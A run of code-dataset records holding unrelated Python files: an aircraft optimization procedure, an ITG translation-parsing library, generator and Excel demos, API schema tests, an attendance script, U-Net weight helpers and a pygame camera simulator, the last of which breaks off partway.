config.mass_properties.landing\n\n landing_field_length = estimate_landing(config, analyses, landing_airport)\n\n # pack results\n summary.landing_field_length = landing_field_length\n\n return nexus\n\n# ----------------------------------------------------------------------\n# Finalizing Function\n# ---------------------------------------------------------------------- \n\ndef finalize(nexus):\n \n nexus.analyses.finalize() \n \n return nexus \n\n# ----------------------------------------------------------------------\n# Post Process Results to give back to the optimizer\n# ---------------------------------------------------------------------- \n\ndef post_process(nexus):\n \n # Unpack data\n vehicle = nexus.vehicle_configurations.base\n results = nexus.results\n summary = nexus.summary\n missions = nexus.missions \n nexus.total_number_of_iterations +=1\n # Static stability calculations\n CMA = -10.\n for segment in results.base.segments.values():\n max_CMA = np.max(segment.conditions.stability.static.cm_alpha[:, 0])\n if max_CMA > CMA:\n CMA = max_CMA\n \n summary.static_stability = CMA\n \n #throttle in design mission\n max_throttle = 0.\n for segment in results.base.segments.values():\n max_segment_throttle = np.max(segment.conditions.propulsion.throttle[:, 0])\n if max_segment_throttle > max_throttle:\n max_throttle = max_segment_throttle\n min_throttle = 1.\n for segment in results.base.segments.values():\n min_segment_throttle = np.min(segment.conditions.propulsion.throttle[:, 0])\n if min_segment_throttle < min_throttle:\n min_throttle = min_segment_throttle\n\n summary.throttle_max = 1.00000001 - max_throttle # strategy to make constraint > 0\n summary.throttle_min = min_throttle\n\n # Fuel margin and base fuel calculations\n operating_empty = vehicle.mass_properties.operating_empty\n max_payload = vehicle.mass_properties.max_payload\n payload = vehicle.passenger_weights.mass_properties.mass \n design_landing_weight = results.base.segments[-1].conditions.weights.total_mass[-1]\n design_takeoff_weight = vehicle.mass_properties.takeoff\n max_takeoff_weight = nexus.vehicle_configurations.takeoff.mass_properties.max_takeoff\n zero_fuel_weight = vehicle.mass_properties.max_zero_fuel\n \n # summary.max_zero_fuel_margin = (design_landing_weight - zero_fuel_weight)/zero_fuel_weight\n summary.base_mission_fuelburn = design_takeoff_weight - design_landing_weight\n summary.fuel_margin = design_landing_weight - operating_empty - payload\n summary.mzfw_consistency = zero_fuel_weight - operating_empty - payload\n\n summary.takeoff_field_length_margin = 1682. - summary.takeoff_field_length\n summary.nothing = 0.0\n\n summary.design_range_ub = 1340.2 - (results.base.segments['descent_3'].conditions.frames.inertial.position_vector[-1, 0] *\n Units.m/Units.nautical_mile)\n summary.design_range_lb = -1339.8 + (results.base.segments['descent_3'].conditions.frames.inertial.position_vector[-1, 0] *\n Units.m/Units.nautical_mile)\n\n print('\\n')\n #when you run want to output results to a file\n # filename = 'results.txt'\n # write_optimization_outputs(nexus, filename)\n\n return nexus \n","sub_path":"Turbofan/DoE/Procedure.py","file_name":"Procedure.py","file_ext":"py","file_size_in_byte":17765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"41350175","text":"\"\"\"\nHere we implement ITG-related algorithms to fit a LV-CRF.\n\n:author: Wilker Aziz\n\"\"\"\n\nfrom formal import *\nfrom alg import * \nfrom earley import *\nfrom time import time\nimport numpy as np\nimport sys\n\n\n# # ITG\n# \n# We do not really need a special class for ITGs, they are just a generalisation of CFGs for multiple streams.\n# What we can do is to treat the source side and the target side of the ITG as CFGs.\n# \n# We will represent a lexicon\n# \n# * a collection of translation pairs \\\\((x, y) \\in \\Sigma \\times \\Delta\\\\) where \\\\(\\Sigma\\\\) is the source vocabulary and \\\\(\\Delta\\\\) is the target vocabulary\n# * these vocabularies are extended with an empty string, i.e., \\\\(\\epsilon\\\\)\n# * we will assume the lexicon expliclty states which words can be inserted/deleted \n# \n# We build the source side by inspecting a lexicon\n# \n# * terminal rules: \\\\(X \\rightarrow x\\\\) where \\\\(x \\in \\Sigma\\\\)\n# * binary rules: \\\\(X \\rightarrow X ~ X\\\\)\n# * start rule: \\\\(S \\rightarrow X\\\\)\n# \n# Then, when the time comes, we will project this source grammar using the lexicon\n# \n# * terminal rules of the form \\\\(X_{i,j} \\rightarrow x\\\\) will become \\\\(X_{i,j} \\rightarrow y\\\\) for every possible translation pair \\\\((x, y)\\\\) in the lexicon\n# * binary rules of the form \\\\(X_{i,k} \\rightarrow X_{i,j} ~ X_{j,k}\\\\) will be copied and also inverted as in \\\\(X_{i,k} \\rightarrow X_{j,k} ~ X_{i,j}\\\\)\n# * the start rule will be copied\n# \n\ndef read_lexicon(path):\n \"\"\"\n Read translation dictionary from a file (one word pair per line) and return a dictionary\n mapping x \\in \\Sigma to a set of y \\in \\Delta\n \"\"\"\n lexicon = defaultdict(set)\n with open(path) as istream: \n for n, line in enumerate(istream):\n line = line.strip()\n if not line:\n continue\n words = line.split()\n if len(words) != 2:\n raise ValueError('I expected a word pair in line %d, got %s' % (n, line))\n x, y = words\n lexicon[x].add(y)\n return lexicon\n \ndef make_source_side_itg(lexicon, s_str='S', x_str='X') -> CFG:\n \"\"\"Constructs the source side of an ITG from a dictionary\"\"\"\n S = Nonterminal(s_str)\n X = Nonterminal(x_str)\n def iter_rules():\n yield Rule(S, [X]) # Start: S -> X\n yield Rule(X, [X, X]) # Segment: X -> X X\n for x in lexicon.keys():\n yield Rule(X, [Terminal(x)]) # X - > x \n return CFG(iter_rules())\n\n \ndef make_fsa(string: str) -> FSA:\n \"\"\"Converts a sentence (string) to an FSA (labels are python str objects)\"\"\"\n fsa = FSA()\n fsa.add_state(initial=True)\n for i, word in enumerate(string.split()):\n fsa.add_state() # create a destination state \n fsa.add_arc(i, i + 1, word) # label the arc with the current word\n fsa.make_final(fsa.nb_states() - 1)\n return fsa\n\n\n# # Target side of the ITG\n# \n# Now we can project the forest onto the target vocabulary by using ITG rules.\n\ndef make_target_side_itg(source_forest: CFG, lexicon: dict) -> CFG:\n \"\"\"Constructs the target side of an ITG from a source forest and a dictionary\"\"\" \n def iter_rules():\n for lhs, rules in source_forest.items(): \n for r in rules:\n if r.arity == 1: # unary rules\n if r.rhs[0].is_terminal(): # terminal rules\n x_str = r.rhs[0].root().obj() # this is the underlying string of a Terminal\n targets = lexicon.get(x_str, set())\n if not targets:\n pass # TODO: do something with unknown words?\n else:\n for y_str in targets:\n yield Rule(r.lhs, [r.rhs[0].translate(y_str)]) # translation\n else:\n yield r # nonterminal rules\n elif r.arity == 2:\n yield r # monotone\n if r.rhs[0] != r.rhs[1]: # avoiding some spurious derivations by blocking invertion of identical spans\n yield Rule(r.lhs, [r.rhs[1], r.rhs[0]]) # inverted\n else:\n raise ValueError('ITG rules are unary or binary, got %r' % r) \n return CFG(iter_rules())\n\n\n# # Legth constraint\n# \n# To constrain the space of derivations by length we can parse a special FSA using the forest that represents \\\\(D(x)\\\\), i.e. `tgt_forest` in the code above.\n# \n# For maximum lenght \\\\(n\\\\), this special FSA must accept the language \\\\(\\Sigma^0 \\cup \\Sigma^1 \\cup \\cdots \\cup \\Sigma^n\\\\). You can implement this FSA designing a special FSA class which never rejects a terminal (for example by defining a *wildcard* symbol).\n# \n\n\nclass LengthConstraint(FSA):\n \"\"\"\n This implement an automaton that accepts strings containing up to n (non-empty) symbols.\n \"\"\"\n \n def __init__(self, n: int, strict=False, wildcard_str='-WILDCARD-'):\n \"\"\"\n :param n: length constraint\n :param strict: if True, accepts the language \\Sigma^n, if False, accepts union of \\Sigma^i for i from 0 to n\n \"\"\"\n # each state is represented as a collection of outgoing arcs\n # which are organised in a dictionary mapping a label to a destination state\n super(LengthConstraint, self).__init__()\n assert n > 0, 'We better use n > 0.'\n self.add_state(initial=True, final=not strict) # we start by adding an initial state\n for i in range(n):\n self.add_state(final=not strict) # then we add a state for each unit of length\n self.add_arc(i, i + 1, wildcard_str) # and an arc labelled with a WILDCARD\n # we always make the last state final\n self.make_final(n)\n self._wildcard_str = wildcard_str\n \n def destinations(self, origin: int, label: str) -> set:\n \"\"\"Return the destination from a certain `origin` state with a certain `label` (-1 means no destination available)\"\"\"\n if origin < self.nb_states():\n return super(LengthConstraint, self).destinations(origin, self._wildcard_str)\n else:\n return set()\n\n\nclass InsertionConstraint(FSA):\n \"\"\"\n This implements an automaton that accepts up to n insertions.\n\n For this you need to make Earley think that -EPS- is a normal terminal,\n you can do that by setting eps_symbol to None when calling earley.\n \"\"\"\n \n def __init__(self, n: int, strict=False, eps_str='-EPS-', wildcard_str='-WILDCARD-'):\n \"\"\"\n :param n: length constraint\n :param strict: if True, accepts exactly n insertions, if False, accepts up to n insertions.\n \"\"\"\n # each state is represented as a collection of outgoing arcs\n # which are organised in a dictionary mapping a label to a destination state\n super(InsertionConstraint, self).__init__()\n assert n >=0 , 'We better use n > 0.'\n self.add_state(initial=True, final=not strict) # we start by adding an initial state\n self.add_arc(0, 0, wildcard_str)\n for i in range(n):\n self.add_state(final=not strict) # then we add a state for each unit of length\n self.add_arc(i, i + 1, eps_str) # and an arc labelled with a WILDCARD\n self.add_arc(i + 1, i + 1, wildcard_str) # and an arc labelled with a WILDCARD\n # we always make the last state final\n self.make_final(n)\n self._eps_str = eps_str\n self._wildcard_str = wildcard_str\n \n def destinations(self, origin: int, label: str) -> set:\n \"\"\"Return the destination from a certain `origin` state with a certain `label` (-1 means no destination available)\"\"\"\n if origin < self.nb_states():\n if label == self._eps_str:\n return super(InsertionConstraint, self).destinations(origin, label)\n else: # if not eps, we match any word\n return super(InsertionConstraint, self).destinations(origin, self._wildcard_str)\n else:\n return set()\n\n\ndef summarise_strings(forest, root):\n strings = language_of_fsa(forest_to_fsa(forest, root))\n print(' Strings from %s: %d' % (root, len(strings)))\n #for string in sorted(strings, key=lambda v: (len(v), v)):\n # print(' ',string)\n return strings\n\n\ndef test(lexicon, src_str, tgt_str, constraint_type='length', nb_insertions=0, inspect_strings=False):\n\n print('TRAINING INSTANCE: |x|=%d |y|=%d' % (len(src_str.split()), len(tgt_str.split())))\n print(src_str)\n print(tgt_str)\n print()\n\n # Make a source CFG using the whole lexicon\n src_cfg = make_source_side_itg(lexicon)\n #print('SOURCE CFG')\n #print(src_cfg)\n #print()\n\n \n # Make a source FSA\n src_fsa = make_fsa(src_str)\n #print('SOURCE FSA')\n #print(src_fsa)\n #print()\n # Make a target FSA\n tgt_fsa = make_fsa(tgt_str)\n #print('TARGET FSA')\n #print(tgt_fsa)\n\n # Intersect source FSA and source CFG\n times = dict()\n times['D(x)'] = time()\n _Dx = earley(src_cfg, src_fsa, \n start_symbol=Nonterminal('S'), \n sprime_symbol=Nonterminal(\"D(x)\"),\n clean=False) # to illustrate the difference between clean and dirty forests I will disable clean here\n #print(src_forest)\n #print()\n # projection over target vocabulary\n Dx = make_target_side_itg(_Dx, lexicon)\n times['D(x)'] = time() - times['D(x)']\n \n times['clean D(x)'] = time()\n Dx_clean = cleanup_forest(Dx, Nonterminal('D(x)'))\n times['clean D(x)'] = time() - times['clean D(x)']\n\n if constraint_type == 'length':\n # we need to accept the length of the input\n print('Using LengthConstraint')\n constraint_fsa = LengthConstraint(tgt_fsa.nb_states() - 1, strict=False) \n print(constraint_fsa)\n # in this case we constrain after projection (so that we can discount deletions and count insertions)\n times['D_n(x)'] = time()\n Dnx = earley(Dx, constraint_fsa,\n start_symbol=Nonterminal('D(x)'),\n sprime_symbol=Nonterminal('D_n(x)'),\n clean=False) \n times['D_n(x)'] = time() - times['D_n(x)']\n # here we parse observation y with D(x)\n # because we choose the length such that n >= |y| and thus we are sure that y \\in D_n(x)\n times['D(x,y)'] = time()\n Dxy = earley(Dx, tgt_fsa,\n start_symbol=Nonterminal(\"D(x)\"), \n sprime_symbol=Nonterminal('D(x,y)'),\n clean=False)\n times['D(x,y)'] = time() - times['D(x,y)']\n else:\n print('Using InsertionConstraint')\n constraint_fsa = InsertionConstraint(nb_insertions, strict=False)\n print(constraint_fsa)\n # in this case we constrain before projection (so we can count epsilon transitions)\n times['D_n(x)'] = time()\n _Dnx = earley(_Dx, constraint_fsa,\n start_symbol=Nonterminal('D(x)'),\n sprime_symbol=Nonterminal('D_n(x)'),\n eps_symbol=None,\n clean=False) # for this we make eps count as if it were a real symbol\n Dnx = make_target_side_itg(_Dnx, lexicon)\n times['D_n(x)'] = time() - times['D_n(x)']\n # here we parse observation y using D_n(x)\n # because there is no guarantee that y \\in D_n(x) and we need to be sure\n times['D(x,y)'] = time()\n Dxy = earley(Dnx, tgt_fsa,\n start_symbol=Nonterminal(\"D_n(x)\"), \n sprime_symbol=Nonterminal('D(x,y)'),\n clean=False)\n times['D(x,y)'] = time() - times['D(x,y)']\n\n times['clean D_n(x)'] = time()\n Dnx_clean = cleanup_forest(Dnx, Nonterminal('D_n(x)'))\n times['clean D_n(x)'] = time() - times['clean D_n(x)']\n \n times['clean D(x,y)'] = time()\n Dxy_clean = cleanup_forest(Dxy, Nonterminal('D(x,y)'))\n times['clean D(x,y)'] = time() - times['clean D(x,y)']\n \n print('D(x): %d rules in %.4f secs or clean=%d rules at extra %.4f secs' % (len(Dx), times['D(x)'],\n len(Dx_clean), times['clean D(x)']))\n print('D_n(x): %d rules in %.4f secs or clean=%d rules at extra %.4f secs' % (len(Dnx), \n times['D_n(x)'], len(Dnx_clean), times['clean D_n(x)']))\n print('D(x,y): %d rules in %.4f secs or clean=%d rules at extra %.4f secs' % (len(Dxy), \n times['D(x,y)'], len(Dxy_clean), times['clean D(x,y)']))\n\n \n if inspect_strings:\n t0 = time()\n print(' y in D_n(x):', tgt_str in summarise_strings(Dnx, Nonterminal('D_n(x)')))\n print(' y in clean D_n(x):', tgt_str in summarise_strings(Dnx_clean, Nonterminal('D_n(x)')))\n print(' y in D(x,y):', tgt_str in summarise_strings(Dxy, Nonterminal('D(x,y)')))\n print(' y in clean D(x,y):', tgt_str in summarise_strings(Dxy_clean, Nonterminal('D(x,y)')))\n print(' gathering strings took %d secs' % (time() - t0))\n \n # and this is how you pickle things\n import dill as pickle\n with open('pickle-test', 'wb') as f:\n pickle.dump(Dxy_clean, f)\n with open('pickle-test', 'rb') as f:\n Dloaded = pickle.load(f)\n print(len(Dloaded), 'loaded')\n\n print()\n\nif __name__ == '__main__':\n # Test lexicon\n lexicon = defaultdict(set)\n lexicon['le'].update(['-EPS-', 'the', 'some', 'a', 'an']) # we will assume that `le` can be deleted\n lexicon['e'].update(['-EPS-', 'and', '&', 'also', 'as'])\n lexicon['chien'].update(['-EPS-', 'dog', 'canine', 'wolf', 'puppy'])\n lexicon['noir'].update(['-EPS-', 'black', 'noir', 'dark', 'void']) \n lexicon['blanc'].update(['-EPS-', 'white', 'blank', 'clear', 'flash'])\n lexicon['petit'].update(['-EPS-', 'small', 'little', 'mini', 'junior'])\n lexicon['petite'].update(['-EPS-', 'small', 'little', 'mini', 'junior'])\n lexicon['.'].update(['-EPS-', '.', '!', '?', ','])\n \n #lexicon['-EPS-'].update(['.', ',', 'a', 'the', 'some', 'of', 'bit', \"'s\", \"'m\", \"'ve\"]) # we will assume that `the` and `a` can be inserted\n lexicon['-EPS-'].update(['.', 'a', 'the', 'some', 'of']) # we will assume that `the` and `a` can be inserted\n print('LEXICON')\n for src_word, tgt_words in lexicon.items():\n print('%s: %d options' % (src_word, len(tgt_words)))\n print()\n \n test(lexicon, \n 'le chien noir',\n 'black dog',\n 'length', inspect_strings=True)\n test(lexicon, \n 'le chien noir',\n 'the black dog .',\n 'insertion', nb_insertions=1, inspect_strings=True)\n test(lexicon,\n 'le petit chien noir e le petit chien blanc .',\n 'the little white dog and the little black dog .',\n 'length')\n test(lexicon,\n 'le petit chien noir e le petit chien blanc .',\n 'the little white dog and the little black dog .',\n 'insertion', nb_insertions=3)\n\n # From here the length constrain is a bit too slow, but you can test if you are patient\n\n #test(lexicon,\n # 'le petit chien noir e le petit chien blanc e le petit petit chien .', \n # 'the little black dog and the little white dog and the mini dog .',\n # 'length')\n test(lexicon,\n 'le petit chien noir e le petit chien blanc e le petit petit chien .', \n 'the little black dog and the little white dog and the mini dog .',\n 'insertion', nb_insertions=3)\n #test(lexicon,\n # 'le petit chien noir e le petit chien blanc e le petit petit chien petit blanc e petit noir .', \n # 'the little black dog and the little white dog and the dog a bit white and a bit black .',\n # 'length')\n test(lexicon,\n 'le petit chien noir e le petit chien blanc e le petit petit chien petit blanc e petit noir .', \n 'the little black dog and the little white dog and the dog a bit white and a bit black .',\n 'insertion', nb_insertions=3)\n\n","sub_path":"resources/notebooks/libitg.py","file_name":"libitg.py","file_ext":"py","file_size_in_byte":15956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"599981181","text":"#!/usr/bin/env python\n# -*-coding:utf-8-*-\n# Author:ls \n# aishou24@gmail.com\n# date:2018/6/9\n# 每次做2个包子,然后被A,B 吃掉,伪并发\n\nimport time\n\ndef consumer(name):\n print(\"%s 准备吃包子啦!\" %name)\n while True:\n baozi = yield\n\n print(\"包子[%s]来了,被[%s]吃了!\" %(baozi,name))\n\n\ndef producer(name):\n c = consumer('A') # C C2两个生成器对象\n c2 = consumer('B')\n c.__next__() # 进去\n c2.__next__()\n print(\"开始准备做包子啦!\")\n for i in range(10):\n time.sleep(1)\n print(\"做了2个包子!\")\n c.send(i)\n c2.send(i)\n\nproducer(\"alex\")\n","sub_path":"基础/day7/生成器2.py","file_name":"生成器2.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"251446877","text":"#!/usr/bin/env python\n# _*_coding:utf-8_*_\n\n'''\nExcel操作之sheet\n'''\n\nimport xlsxwriter\n\nwork_book = xlsxwriter.Workbook('D:/tmp/demo1.xlsx') #创建一个Excel文件\nwork_sheet = work_book.add_worksheet() #创建一个工作表对象\nwork_sheet.set_column('A:A', 10) #设定第一列(A)宽度为20像素\nbold = work_book.add_format({'bold': True}) #定义一个加粗的格式对象\n\nwork_sheet.write('A1', 'Hello') #A1单元格写入'Hello'\nwork_sheet.write('A2', 'World', bold) #A2单元格写入'World'并引用加粗格式对象bold\nwork_sheet.write('B2', u'中文测试', bold) #B2单元格写入'中文测试'并引用加粗格式对象bold\n\nwork_sheet.write(2, 0, 32) #用行列表示法写入数字'32'与'35'\nwork_sheet.write(3, 0, 35.5) #行列表示法的单元格下标以0作为起始值, '3,0'等价于A4\nwork_sheet.write(4, 0, '=SUM(A3:A4)') #求A3:A4的和,将结果写入'4,0'即A5\n\nwork_sheet.set_column('B:B', 20)\nwork_sheet.insert_image('B5', 'D:/tmp/img/test.png') #在B5单元格内插入图片\nwork_book.close()","sub_path":"devops/xlsxwriter/sheet.py","file_name":"sheet.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"99151230","text":"# Copyright (c) 2015 App Annie Inc. All rights reserved.\n\nfrom nose.plugins.attrib import attr\n\nfrom tests.schema_check.constants import constants\nfrom tests.schema_check.apis.apiv12.api_v12_objects import SalesReportListAPI\nfrom tests.schema_check.base import BaseAPITestCase\nfrom tests.schema_check.constants.constants import SCHEMAS\nfrom tests.schema_check.mixins.smoke_user_mixin import SmokeUserMixin\n\n\nclass SalesReportListAPICheck(BaseAPITestCase, SmokeUserMixin):\n\n def setUp(self):\n super(SalesReportListAPICheck, self).setUp()\n self.schema_name = SCHEMAS['sales_report_list']\n\n def api_call(self, args=None):\n api = SalesReportListAPI(self.username, self.password, args)\n return [api.get_return_code(), api.response]\n\n @attr(constants.SMOKE)\n def test_sales_report_list_api_with_valid_start_end_date(self):\n args = {\n 'start_date': '2016-03-05',\n 'end_date': '2016-03-06'\n }\n self.check_schema(*self.api_call(args))\n\n @attr(constants.SMOKE)\n def test_sales_report_list_api_with_invalid_start_end_date(self):\n args = {\n 'start_date': '2018-03-05',\n 'end_date': '2011-03-05'\n }\n self.check_schema(*self.api_call(args))\n\n @attr(constants.SMOKE)\n def test_sales_report_list_api_with_empty_start_end_date(self):\n self.check_schema(*self.api_call())\n","sub_path":"tests/schema_check/cases/apiv12/test_sales_report_list_api.py","file_name":"test_sales_report_list_api.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"439915002","text":"import pandas as pd \r\nimport os\r\n\r\ndef attendance_here(character,today,current_time):\r\n n=os.listdir(\"C:/Users/ANIRBAN MISRA/Downloads/originalimages_part1/ourdata\")\r\n file_path=\"C:/Users/ANIRBAN MISRA/Downloads/originalimages_part1/attendance.csv\"\r\n df=pd.read_csv(file_path)\r\n\r\n today1=str(today)\r\n current_time1=str(current_time)\r\n character1=str(character)\r\n m=[]\r\n for i in range(len(n)):\r\n arr=df[n[i]].tolist()\r\n if len(arr)!=0:\r\n m.append(arr)\r\n else:\r\n m.append([\"b\"])\r\n attendance=today1+\"at\"+current_time1\r\n position=n.index(character1)\r\n if (m[position][len(m[position])-1].find (\"b\")!=-1):\r\n m[position][len(m[position])-1]=attendance\r\n elif (m[position][len(m[position])-1].find (today1)!=-1):\r\n print(\"haramkhor\")\r\n else:\r\n m[position].append(attendance)\r\n for i in range(len(m)-1):\r\n m[i].append(\"b\")\r\n\r\n resdict={n[i]:m[i]for i in range(0,len(n))}\r\n df = (pd.DataFrame(resdict))\r\n df.to_csv(file_path)","sub_path":"attendance.py","file_name":"attendance.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"542049167","text":"from re import compile as _regex\n\n_quote_more = tuple(map(_regex, (r\"(?=[\\\\'])\", r'(?=[\\\\\"])')))\ndef quote_more(string, quote_char = r'\"'):\n re = _quote_more[quote_char == r'\"']\n return r'\"' + re.sub(r'\\\\', string) + r'\"'\n\ndef quote(string):\n return ''.join(_quote_impl(string))\n \ndef _quote_impl(string):\n from .escseqs import reverse_escape_sequences\n yield r'\"'\n for c in string:\n v = reverse_escape_sequences.get(c)\n if v:\n c = '\\\\' + v\n yield c\n yield r'\"'\n","sub_path":"x19290/lib/quote.py","file_name":"quote.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"536212593","text":"import handler, websockets, asyncio, json\nfrom multiprocessing import Process, Pipe\nfrom ai import ai_server\nfrom action.communication import interact\nasync def request(uri, data):\n\tasync with websockets.connect(uri) as websocket:\n\t\tawait websocket.send(data)\n\t\treturn dict(json.loads(await websocket.recv()))\n\ndef ai_predict(data):\n\treturn asyncio.get_event_loop().run_until_complete(\n\t\trequest('ws://localhost:8765', data))\n\n\nparent_conn, child_conn = Pipe()\nserver = Process(target=ai_server.main, args=(child_conn,))\nserver.start()\n\nif parent_conn.recv():\n\twhile True:\n\t\tinp = interact.get_input()\n\t\tresponse = ai_predict(inp)\n\t\thandler.response_handler(response)\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"350057563","text":"from few_shot_learn.data.cub import load_cub, load_cub_images\n\n\ndef test_cub_image_data():\n\n cub_data = load_cub_images((64, 64))\n\n cub_train_data = cub_data['train'][0]\n cub_train_labels = cub_data['train'][1]\n\n cub_test_data = cub_data['test'][0]\n cub_test_labels = cub_data['test'][1]\n\n assert cub_train_data.shape == (3000, 64, 64, 3)\n assert cub_train_labels.shape == (3000,)\n\n assert cub_test_data.shape == (3033, 64, 64, 3)\n assert cub_test_labels.shape == (3033,)\n","sub_path":"test/data/test_cub.py","file_name":"test_cub.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"375866944","text":"import numpy as np\nimport skimage\nfrom scipy import ndimage\n\n\ndef unet_border_weights(masks, w0=1, sigma=4, r=3):\n ## ref : https://www.kaggle.com/piotrczapla/tensorflow-u-net-starter-lb-0-34/notebook\n n_masks = masks.shape[-1]\n inner_masks = np.stack([skimage.morphology.binary_erosion(masks[:,:,x], skimage.morphology.disk(r)) \n for x in range(n_masks)], axis=-1)\n outer_masks = np.stack([skimage.morphology.binary_dilation(masks[:,:,x], skimage.morphology.disk(r)) \n for x in range(n_masks)], axis=-1)\n border = np.logical_xor(outer_masks, inner_masks)\n\n # calculate weight for important pixels\n distances = np.array([ndimage.distance_transform_edt(border[:,:,x] == 0) \n for x in range(n_masks)])\n shortest_dist = np.sort(distances, axis=0)\n # distance to the border of the nearest cell\n d1 = shortest_dist[0]\n # distance to the border of the second nearest cell\n d2 = shortest_dist[1] if len(shortest_dist) > 1 else np.zeros(d1.shape)\n d2 = np.zeros(d1.shape)\n weights = w0 * np.exp(-(d1+d2)**2/(2*sigma**2)).astype(np.float32)\n #weights[weights < 1e-4] = 0.\n \n # Set all positive to 1\n #labels = utils_misc.masks_to_image(masks, labels=None)\n #weights[labels > 0] = 1\n return weights\n\ndef unet_class_weights(masks, class_ids):\n n_masks = masks.shape[-1]\n radius = [np.sqrt(np.sum(masks[:,:,x])) for x in range(n_masks)]\n weights = np.zeros((max(class_ids),))\n for r, class_id in zip(radius, class_ids):\n weights[class_id-1] += r\n return weights/np.sum(weights)\n\n","sub_path":"DIPModels/unet/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"462338636","text":"\n\nfrom application.graphical import PyGameApp, PyGameViewer\nfrom camera import Camera\nfrom camera.sensor import CameraSensor\nfrom geometry.shapes import Square\nimport pygame\n\n\nclass OversizedCamera(Camera):\n def __init__(self, sensor):\n Camera.__init__(self, sensor)\n\n # The default dimensions are sensor-based, but may change in the future.\n # For this camera, we're focused on demonstrating how the sensor works, so\n # we need to override how much oversized the dimensions should be.\n # ----------------\n # The incoming light from the camera lens(es) will be based on scene\n # coordinates, so a translation will need to be derived (it's prolly\n # not going to be good in the long run, but something to get started).\n # Currently, planning on using the inner radius of the lens mount\n # (not the radius of the threading for lenses) as a unit circle, and\n # therefore, a circle that surrounds the sensor will provide a way to\n # convert from scene coordinates to sensor coordinates.\n #\n # This can be accomplished by circumscribing the rectangle made from the\n # dimensions of the sensor. For example, given a sensor having dimensions\n # of 1280 and 800 (an 8:5 ratio, the correct ratio for computer displays)\n # and therefore, the radius of the circle of the circumscribed rectangle\n # would be:\n #\n # diameter = squareRoot(square(1280) + square(800))\n # = squareRoot(1638400 + 640000)\n # = squareRoot(2278400)\n # ~ 1509.43698112906\n #\n # radius = half(1509.43698112906)\n # = 754.71849056453\n # ----------------\n self.dimensions = Square(int(round(self.sensor.dimensions.circumscribe(), 1)))\n\n def capture(self):\n # print(f\"Snapshot dimensions: {self.dimensions}\")\n snapshot = pygame.Surface(self.dimensions.tupled(), depth=32)\n\n # Capture the center of the snapshot.\n center = snapshot.get_rect().center\n\n # Indicate the blocked area on the snapshot area \"imposed\" by the lens mount.\n snapshot.fill((15, 15, 15))\n\n # Indicate the area outside of the sensor.\n pygame.draw.circle(snapshot, (31, 31, 31), center, center[0])\n\n # Draw in the sensor in the center.\n captured = self.sensor.capture()\n # print(f\"Captured dimensions: {captured.get_size()}\")\n padding = self.dimensions.padding(captured.get_size())\n\n self.sensor.clear()\n\n # print(f\"Padding dimensions: {padding}\")\n snapshot.blit(captured, (int(padding.length), int(padding.height)))\n\n return snapshot\n\n\nclass CameraSimulator(PyGameApp):\n def __init__(self, camera):\n if not isinstance(camera, Camera):\n raise TypeError(\"A Camera instance is required.\") # For now...\n\n PyGameApp.__init__(self)\n\n # Connect a viewer to the camera.\n camera.use(PyGameViewer(camera.dimensions.length, camera.dimensions.height))\n\n # Track the camera as an entity.\n self.add(camera)\n\n # A somewhat descriptive caption would be nice.\n self.caption(\"Camera Simulator\")\n\n\ndef main():\n # Camera Simulator 9000\n # --------------------------------\n # For this simulation, we're going to be building a camera, similar to how digital\n # cameras work (or as I think of them) - a sensor captures the light rays passing\n # through the lens(es).\n\n # For the first part, we want to see what the view would be as if the sensor was\n # viewed straight on ('ey... no optical funny business, ya 'eer?!). While the\n # sensor components are still being translated and implemented, we can at least\n # view the area removed by the lens (the areas outside the 'lens mount' of the\n # camera). We'll use a circle to simulate that restriction.\n\n # But first, we're going to need a camera!\n # SENSOR_LENGTH = 640\n # SENSOR_HEIGHT = 400\n SENSOR_LENGTH = 200\n SENSOR_HEIGHT = 320\n\n # Huh... wouldn't it be cool to use more photographic jargon, like a \"four-thirds\"\n # camera? I wonder... which dimension is it referenced from?\n # Oh, it looks to be based on manufacturer, but referenced from 'full-frame':\n # https://en.wikipedia.org/wiki/Image_sensor_format#Common_image_sensor_formats.\n\n # I guess another cool thought would be to have a scene (cough), in which the\n # camera sensor is 'changing' dimensions, to show how the circumscribing changes.\n # #FutureIdeas?\n\n CameraSimulator(OversizedCamera(CameraSensor(SENSOR_LENGTH, SENSOR_HEIGHT))).start()\n # CameraSimulator(Camera(CameraSensor(SENSOR_LENGTH, SENSOR_HEIGHT))).start()\n\n # New thoughts:\n #\n # * Getting objects projecting reflected light towards the camera.\n # * How do we track whether an object would project the reflected light towards the camera?\n # * Actually, why not just start with a light source first? Play around with some orbital movement to see change..\n # * We will most likely need a way to represent the world.. and it's gotta get those update() notifications..\n #\n # * Processing light rays... might be expensive. Threads? That..'ll be .. fun..\n # * Also, getting a little detailed here? but a light source would emit light... that could be how it contributes\n # to the world, each update of the world, a light source emits it's \"pattern\", and in propogating that pattern,\n # collisions would be formed/detectable, that would then inform the object collided with that it has light to\n # reflect (if it doesn't absorb it completely) for part of it's update() invocation, and that would then have the\n # ability to track how many bounces a ray would have? The number of rays in the emitted pattern would start small,\n # maybe even be configurable/config-as-performance-level?.. but if the bounce count reaches zero on a collision,\n # the object would not reflect that particular light (given reflectability due to material, et cetera), and would\n # not contribute to the information sensed by the camera's sensor.\n #\n # * 